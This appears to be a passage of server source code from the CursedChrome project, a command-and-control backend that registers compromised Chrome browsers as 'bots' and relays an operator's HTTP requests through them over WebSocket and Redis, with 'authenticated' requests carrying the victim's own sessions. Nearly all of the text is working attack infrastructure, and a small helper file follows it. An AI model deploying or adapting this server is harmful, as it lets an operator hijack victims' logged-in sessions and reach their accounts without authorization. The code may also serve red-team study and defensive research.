'version': SERVER_VERSION,
'action': 'PONG',
'data': {}
})
)
// Update bot as online
const bot = await Bots.findOne({
where: {
browser_id: websocket_connection.browser_id
}
});
await bot.update({
is_online: true,
});
}
function get_browser_proxy(input_browser_id) {
for (var it = wss.clients.values(), val = null; current_ws_client = it.next().value;) {
if (current_ws_client.browser_id === input_browser_id) {
return current_ws_client;
}
}
throw 'No browser found that matches those credentials!';
return false;
}
function authenticate_client(websocket_connection) {
return new Promise(function(resolve, reject) {
// For timeout, will reject if no response in 30 seconds.
setTimeout(function() {
reject(`A timeout occurred when authenticating WebSocket client.`);
}, (30 * 1000));
const message_id = uuid.v4();
const auth_rpc_message = {
'id': message_id,
'version': '1.0.0',
'action': 'AUTH',
'data': {}
}
// Add promise resolve to message table
// that way the promise is resolved when
// we get a response for our HTTP request
// RPC message.
REQUEST_TABLE.set(
message_id,
resolve
);
// Send auth RPC message
websocket_connection.send(JSON.stringify(auth_rpc_message));
});
}
function send_request_via_browser(browser_id, authenticated, url, method, headers, body) {
return new Promise(function(resolve, reject) {
// For timeout, will reject if no response in 30 seconds.
setTimeout(function() {
reject(`Request Timed Out for URL ${url}!`);
}, (30 * 1000));
const message_id = uuid.v4();
var message = {
'id': message_id,
'version': SERVER_VERSION,
'action': 'HTTP_REQUEST',
'data': {
'url': url,
'method': method,
'headers': headers,
'body': body,
'authenticated': authenticated
}
}
// Add promise resolve to message table
// that way the promise is resolved when
// we get a response for our HTTP request
// RPC message.
REQUEST_TABLE.set(
message_id,
resolve
)
// Subscribe to the proxy redis topic to get the
// response when it comes
const subscription_id = `TOPROXY_${browser_id}`;
subscriber.subscribe(subscription_id);
// Send the HTTP request RPC message to the browser
publisher.publish(
`TOBROWSER_${browser_id}`,
JSON.stringify(
message
)
);
});
}
function caseinsen_get_value_by_key(input_object, input_key) {
const object_keys = Object.keys(input_object);
var matching_value = undefined;
object_keys.map(object_key => {
if (object_key.toLowerCase() === input_key.toLowerCase()) {
matching_value = input_object[object_key];
}
});
return matching_value;
}
const AUTHENTICATION_REQUIRED_PROXY_RESPONSE = {
response: {
statusCode: 407,
header: {
'Proxy-Authenticate': 'Basic realm="Please provide your credentials."'
},
body: 'Provide credentials.'
}
};
async function get_authentication_status(inputRequestDetail) {
const proxy_authentication = caseinsen_get_value_by_key(
inputRequestDetail,
'Proxy-Authorization'
);
if (!proxy_authentication || !(proxy_authentication.includes('Basic'))) {
console.log(`No proxy credentials provided!`);
return false;
}
const proxy_auth_string = (
new Buffer(
proxy_authentication.replace(
'Basic ',
''
).trim(),
'base64'
)
).toString();
const proxy_auth_string_parts = proxy_auth_string.split(':');
const username = proxy_auth_string_parts[0];
const password = proxy_auth_string_parts[1];
const memory_cache_key = `${username}:${password}`;
// If we already have this cached we can stop here.
const credential_data_string = await getAsync(memory_cache_key);
if(credential_data_string) {
const cached_record = JSON.parse(credential_data_string);
return {
'id': cached_record.id,
'browser_id': cached_record.browser_id,
'is_authenticated': cached_record.is_authenticated,
'name': cached_record.name,
};
}
// Kick both queries off at the same time for slightly improved speed.
var browserproxy_record = await Bots.findOne({
where: {
proxy_username: username,
proxy_password: password
}
});
if (!browserproxy_record) {
console.log(`Invalid credentials for username '${username}'!`);
return false;
}
// No need to wait for this to resolve
await setexAsync(
memory_cache_key,
( 60 * 10 ),
JSON.stringify(browserproxy_record),
);
return {
'id': browserproxy_record.id,
'browser_id': browserproxy_record.browser_id,
'is_authenticated': browserproxy_record.is_authenticated,
'name': browserproxy_record.name,
};
}
const options = {
port: PROXY_PORT,
rule: {
async beforeSendRequest(requestDetail) {
const remote_address = requestDetail._req.connection.remoteAddress;
const datetime = moment().format('MMMM Do YYYY, h:mm:ss a');
const auth_details = await get_authentication_status(requestDetail.requestOptions.headers);
if (!auth_details) {
console.error(`[${datetime}][${remote_address}] Request denied for URL ${requestDetail.url}, no authentication information provided in proxy HTTP request!`);
return AUTHENTICATION_REQUIRED_PROXY_RESPONSE;
}
// Send base64-encoded body if there's any data to
// send, otherwise set it to false.
const body = (
requestDetail.requestData.length > 0
) ? requestDetail.requestData.toString('base64') : false;
console.log(`[${datetime}][${auth_details.id}][${auth_details.name}] Proxying request ${requestDetail._req.method} ${requestDetail.url}`);
const response = await send_request_via_browser(
auth_details.browser_id,
true,
requestDetail.url,
requestDetail.requestOptions.method,
requestDetail.requestOptions.headers,
body
);
// For connection errors
if (!response) {
console.error(`[${datetime}][${auth_details.id}][${auth_details.name}] A connection error occurred while requesting ${requestDetail._req.method} ${requestDetail.url}`);
return {
response: {
statusCode: 503,
header: {
'Content-Type': 'text/plain',
'X-Frame-Options': 'DENY'
},
body: (new Buffer(`CursedChrome encountered an error while requesting the page.`))
}
};
}
console.log(`[${datetime}][${auth_details.id}][${auth_details.name}] Got response ${response.status} ${requestDetail.url}`);
let encoded_body_buffer = new Buffer(response.body, 'base64');
let decoded_body = encoded_body_buffer.toString('ascii');
if ('content-encoding' in response.headers) {
delete response.headers['content-encoding'];
}
return {
response: {
statusCode: response.status,
header: response.headers,
body: encoded_body_buffer
}
};
},
},
webInterface: {
enable: false,
webPort: 8002
},
//throttle: 10000,
forceProxyHttps: true,
wsIntercept: false,
silent: true
};
async function initialize_new_browser_connection(ws) {
console.log(`Authenticating newly-connected browser...`);
// Authenticate the newly-connected client.
const auth_result = await authenticate_client(ws);
const browser_id = auth_result.browser_id;
const user_agent = auth_result.user_agent;
// Set the browser ID on the WebSocket connection object
ws.browser_id = browser_id;
// Set up a subscription in redis for when we get a new
// HTTP proxy request that we need to send to the browser
// connected to use via WebSocket.
subscriber.subscribe(`TOBROWSER_${browser_id}`);
// Check the database to see if we already have this browser
// Recorded in the DB.
var browserproxy_record = await Bots.findOne({
where: {
browser_id: browser_id
}
});
if (browserproxy_record === null) {
/*
If the browser has no Bots in the database then we'll
create a default one which is authenticated and unscoped.
This is to make the user's first use experience much easier so
they can easily try out the functionality.
*/
console.log(`Browser ID ${browser_id} is not already registered. Creating new credentials for it...`);
const new_username = `botuser${get_secure_random_string(8)}`;
const new_password = get_secure_random_string(18);
const new_browserproxy = await Bots.create({
'id': uuid.v4(),
'name': 'Untitled Bot',
'browser_id': browser_id,
'proxy_username': new_username,
'proxy_password': new_password,
'is_authenticated': true,
'is_online': true,
'user_agent': user_agent
});
} else {
// Update all browserproxy records to reflect that all these proxies are
// now online.
browserproxy_record.is_online = true;
browserproxy_record.user_agent = user_agent;
await browserproxy_record.save();
}
}
function heartbeat() {
this.isAlive = true;
}
var wss = undefined;
var proxyServer = undefined;
var redis_client = undefined;
var subscriber = undefined;
var publisher = undefined;
async function initialize() {
// Used for distributing the TCP connection workload across
// multiple servers which use one redis instance as the core
// pubsub system.
redis_client = redis.createClient({
"host": process.env.REDIS_HOST,
});
redis_client.on("error", function(error) {
console.error(`Redis client encountered an error:`);
console.error(error);
});
subscriber = redis.createClient({
"host": process.env.REDIS_HOST,
});
publisher = redis.createClient({
"host": process.env.REDIS_HOST,
});
// Promisify Node redis calls, these are intentionally global
getAsync = util.promisify(redis_client.get).bind(redis_client);
setexAsync = util.promisify(redis_client.setex).bind(redis_client);
delAsync = util.promisify(redis_client.del).bind(redis_client);
// Called when a new redis subscription is added
subscriber.on("subscribe", function(channel, count) {
//console.log(`New subscription created for channel ${channel}, bring total to ${count}.`);
});
// Called when a new message is written to a channel
subscriber.on("message", function(channel, message) {
//console.log(`Received a new message at channel '${channel}', message is '${message}'`);
// For messages being sent to the browser from the proxy
if (channel.startsWith('TOBROWSER_')) {
const browser_id = channel.replace('TOBROWSER_', '');
const browser_websocket = get_browser_proxy(browser_id);
browser_websocket.send(message);
return
}
// For messages being sent back to the proxy from the browser
if (channel.startsWith('TOPROXY_')) {
const browser_id = channel.replace('TOPROXY_', '');
try {
var inbound_message = JSON.parse(
message
);
} catch (e) {
console.error(`Error parsing message received from browser:`);
console.error(`Message: ${message}`);
console.error(`Exception: ${e}`);
}
// Check if it's an action we recognize.
if (inbound_message.action in RPC_CALL_TABLE) {
RPC_CALL_TABLE[inbound_message.action](browser_id, inbound_message.data);
return
}
// Check if we're tracking this response
if (REQUEST_TABLE.has(inbound_message.id)) {
//console.log(`Resolving function for message ID ${inbound_message.id}...`);
const resolve = REQUEST_TABLE.take(inbound_message.id);
resolve(inbound_message.result);
}
return
}
});
wss = new WebSocket.Server({
port: WS_PORT
});
wss.on('connection', async function connection(ws) {
console.log(`A new browser has connected to us via WebSocket!`);
ws.isAlive = true;
ws.on('close', async () => {
// Only do this if there's a valid browser ID for
// the WebSocket which has died.
if (ws.browser_id) {
console.log(`WebSocket browser ${ws.browser_id} has disconnected.`);
// Unsubscribe from the browser topic since we can no longer send
// any messages to the browser anymore
subscriber.unsubscribe(`TOBROWSER_${ws.browser_id}`);
// Update browserproxy record to reflect being offline
var browserproxy_record = await Bots.findOne({
where: {
browser_id: ws.browser_id
}
});
browserproxy_record.is_online = false;
await browserproxy_record.save();
} else {
console.log(`Unauthenticated WebSocket has disconnected from us.`);
}
});
ws.on('pong', heartbeat);
ws.on('message', function incoming(message) {
try {
var inbound_message = JSON.parse(
message
);
} catch (e) {
console.error(`Error parsing message received from browser:`);
console.error(`Message: ${message}`);
console.error(`Exception: ${e}`);
}
// As a special case, if this is the result
// from an authentication request, we'll process it.
if (inbound_message.origin_action === 'AUTH') {
// Check if we're tracking this response
if (REQUEST_TABLE.has(inbound_message.id)) {
//console.log(`Resolving function for message ID ${inbound_message.id}...`)
const resolve = REQUEST_TABLE.take(inbound_message.id);
resolve(inbound_message.result);
}
return
} else if (inbound_message.action === 'PING') {
ping(ws);
} else if (ws.browser_id) {
// Write to redis proxy topic with the response from the
// websocket connection.
publisher.publish(`TOPROXY_${ws.browser_id}`, message);
} else {
console.error(`Wat, this shouldn't happen? Orphaned message:`);
console.error(message);
}
});
await initialize_new_browser_connection(ws);
});
wss.on('ready', () => {
console.log(`CursedChrome WebSocket server is now running on port ${WS_PORT}.`)
});
proxyServer = new AnyProxy.ProxyServer(options);
proxyServer.on('ready', () => {
console.log(`CursedChrome HTTP Proxy server is now running on port ${PROXY_PORT}.`)
});
proxyServer.on('error', (e) => {
console.error(`CursedChrome HTTP Proxy server encountered an unexpected error:`);
console.error(e);
});
console.log(`Starting the WebSocket server...`);
console.log(`Starting the HTTP proxy server...`)
proxyServer.start();
console.log(`Starting API server...`);
// Start the API server
const api_server = await get_api_server();
api_server.listen(API_SERVER_PORT, () => {
console.log(`CursedChrome API server is now listening on port ${API_SERVER_PORT}`);
});
}
(async () => {
// If we're the master process spin up workers
// If we're the worker processes, get to work!
if (cluster.isMaster) {
console.log(`Master ${process.pid} is running`);
console.log(`Initializing the database connection...`);
await database_init();
// Fork workers.
for (let i = 0; i < numCPUs; i++) {
cluster.fork();
}
cluster.on('exit', (worker, code, signal) => {
console.log(`worker ${worker.process.pid} died`);
});
} else {
// Start worker
initialize();
console.log(`Worker ${process.pid} started`);
}
})();
View File
+31
View File
@@ -0,0 +1,31 @@
const crypto = require('crypto');
const bcrypt = require('bcrypt');
function copy(input_data) {
return JSON.parse(JSON.stringify(input_data));
}
function get_secure_random_string(bytes_length) {
const validChars = 'abcdefghijklmnopqrstuvwxyz0123456789';
let array = crypto.randomBytes(bytes_length);
array = array.map(x => validChars.charCodeAt(x % validChars.length));
const random_string = String.fromCharCode.apply(null, array);
return random_string;
}
async function get_hashed_password(password) {
// If no environment variable is set, default
// to doing 10 rounds.
const bcrypt_rounds = process.env.BCRYPT_ROUNDS ? parseInt(process.env.BCRYPT_ROUNDS) : 10;
return bcrypt.hash(
password,
bcrypt_rounds
);
}
module.exports = {
copy: copy,
get_secure_random_string: get_secure_random_string,
get_hashed_password: get_hashed_password
};